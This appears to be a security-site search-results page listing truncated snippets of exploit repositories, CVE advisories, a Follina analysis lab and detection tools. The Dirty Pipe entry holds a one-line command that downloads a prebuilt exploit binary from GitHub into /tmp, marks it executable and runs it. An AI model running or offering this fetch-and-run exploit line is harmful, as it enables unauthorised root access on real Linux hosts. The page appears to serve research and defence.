831524 matches found
Apache-Exploit-2019
エクスプロイト 私のエクスプロイトの一部です。...
bro-shellshock
Detector de ShellShock para Bro Este script detecta la explotación exitosa de la vulnerabilidad de Bash con CVE-2014-6271, apodada "ShellShock". Es más completo que la mayoría de las detecciones existentes, ya que observa el comportamiento del host atacado que podría indicar un compromiso exitoso...
CVE-2023-4220-HTB-PermX
Chamilo-LMS-CVE-2023-4220-Exploit 説明 このエクスプロイトは、Chamilo-LMS における無制限ファイルアップロードの脆弱性を実証します。この脆弱性は、以下の場所にある big file upload 機能に影響します： root@kitploit: /main/inc/lib/javascript/bigupload/inc/bigUpload.php 影響を受けるバージョン : Chamilo LMS = v1.11.24 この脆弱性により、任意のファイルを以下の場所にアップロードできます： root@kitploit:...
sqlite: SQLite: Arbitrary code execution and crash via heap-based buffer overflow in FTS5
A flaw was found in SQLite, specifically within its FTS5 full-text search extension. Attackers can exploit a heap-based buffer overflow by providing a specially crafted database. This crafted database contains malicious metadata that triggers an integer underflow during FTS5 MATCH query processin...
CVE-2022-0847-Dirty-Pipe
单行漏洞利用 CVE-2022-0847 root@kitploit: curl,-s,-k,https://raw.githubusercontent.com/carlosevieira/Dirty-Pipe/main/exploit-static,-o,/tmp/exploit-dirty-pipe;chmod,+x,/tmp/exploit-dirty-pipe;/tmp/exploit-dirty-pipe...
NetoolHunter-English-Edition
🛡️ NetoolHunter — English Edition A Kali NetHunter securit...
Static-Malware-Analysis-Follina-CVE-2022-30190
Follina（CVE-2022-30190）静态恶意软件分析 来自 Blue Team Labs Online 的 Follina（CVE-2022-30190）静态恶意软件分析 实验室 ：Blue Team Labs Online – Follina 挑战 分析类型 ：静态分析 使用工具 ：VirusTotal、Windows 文件资源管理器 引言 作为我的蓝队之旅，我想深入了解现实世界中基于文档的攻击。 我遇到了一份名为 sample.doc 的可疑 Microsoft Word 文档，并决定对它进行静态 分析——绝不执行该文件。...
Security Bulletin: IBM i is Affected By Sensitive Information Exposure Vulnerability in PASE [CVE-2026-18887]
Summary IBM i is vulnerable to allowing sensitive information access to unauthorized users CVE-2206-18887 in Portable Application Solutions Environment PASE as described in the vulnerability details section. Vulnerability Details CVEID:CVE-2026-18887 DESCRIPTION: IBM i could allow an authenticate...
CVE-2026-73700 Authenticated Stored Cross-Site Scripting Vulnerability (XSS) in HPE Networking Fabric Composer Web-Based Management Interface
A vulnerability in the web-based management interface of HPE Networking Fabric Composer could allow an authenticated low privilege operator user to conduct a stored cross-site scripting XSS attack against an administrative user of the interface. A successful exploit could allow an attacker to...
EUVD-2026-69578
A vulnerability in the web-based management interface of HPE Networking Fabric Composer could allow an authenticated low privilege operator user to conduct a stored cross-site scripting XSS attack against an administrative user of the interface. A successful exploit could allow an attacker to...
CVE-2026-73700
HPE Networking Fabric Composer contains a stored cross-site scripting (XSS) vulnerability in its web-based management interface. An authenticated low-privilege operator can inject malicious script that executes in the browser of an administrative user , potentially allowing arbitrary code executi...
CVE-2026-73700 Authenticated Stored Cross-Site Scripting Vulnerability (XSS) in HPE Networking Fabric Composer Web-Based Management Interface
A vulnerability in the web-based management interface of HPE Networking Fabric Composer could allow an authenticated low privilege operator user to conduct a stored cross-site scripting XSS attack against an administrative user of the interface. A successful exploit could allow an attacker to...
CVE-2024-12970
CVE-2024-12970 CVE-2024-12970 描述了 Pardus 操作系统 My Computer 软件中的一个 OS 命令注入漏洞。该漏洞允许用户通过文件名参数注入系统命令，从而使攻击者能够在系统上执行恶意命令。 该漏洞存在于 Pardus My Computer 软件 0.7.2 版本之前的版本中。 漏洞所在函数 漏洞存在于 getfileinfo 函数中。该函数使用 subprocess 调用来获取用户提供的磁盘信息。然而，由于该调用中的文件路径参数（file）未经过正确验证，因此通过用户提供的磁盘名称导致了 OS 命令注入漏洞。 函数： root@kitploit...
hassh
"HASSH" - a Profiling Method for SSH Clients and Servers. NOTE: This Corelight repository was created so that it can be actively maintained, as per a request from Salesforce whose original repository is not being maintained. "HASSH" is a network fingerprinting standard which can be used to identi...
hassh
"HASSH" - SSHクライアントおよびサーバーのプロファイリング手法。 注記：このCorelightリポジトリは、元のリポジトリがメンテナンスされていないSalesforceからの要請に応じて、積極的にメンテナンスできるように作成されました。 "HASSH" は、特定のSSHクライアントおよびサーバー実装を識別するために使用できるネットワークフィンガープリンティング標準です。フィンガープリントは、MD5フィンガープリントの形式で簡単に保存、検索、共有できます。 HASSHでできること：...
CVE-2026-41940
⚠️ CVE-2026-41940 - Omisión de autenticación en cPanel & WHM Omisión crítica de autenticación previa en cPanel & WHM 📌 Resumen CVE-2026-41940 es una vulnerabilidad crítica de omisión de autenticación que afecta a cPanel & WHM y WP Squared. Un atacante remoto no autenticado puede omitir por complet...
CVE-2026-0300
🚨 CVE-2026-0300 - Ejecución Remota de Código Crítica No Autenticada en PAN-OS de Palo Alto Networks Desbordamiento de Búfer en el Portal de Autenticación User-ID™ Portal Cautivo — Explotado Activamente en la Naturaleza 📋 Resumen Una vulnerabilidad crítica de desbordamiento de búfer CWE-787 en el...
CVE-2026-43503
CVE-2026-43503 DirtyClone - PoC - SecurewithUmer DirtyCloneのPoC — Linuxカーネルのローカル特権昇格脆弱性。 このリポジトリには、クローンされたソケットバッファを介したページキャッシュの破損を悪用して、権限のないローカルユーザーがroot権限を取得できる動作する概念実証 が含まれています。 DirtyCloneについて DirtyClone CVE-2026-43503 は Dirty ファミリー DirtyPipe → DirtyFrag → DirtyClone の4番目のメンバーです。...
CVE-2022-0435-Poc
CVE-2022-0435スタックオーバーフロー wget https://releases.ubuntu.com/jammy/ubuntu-22.04.5-live-server-amd64.iso mkdir kernel wget https://kernel.ubuntu.com/mainline/v5.13/amd64/linux-headers-5.13.0-051300-generic5.13.0-051300.202106272333amd64.deb wget...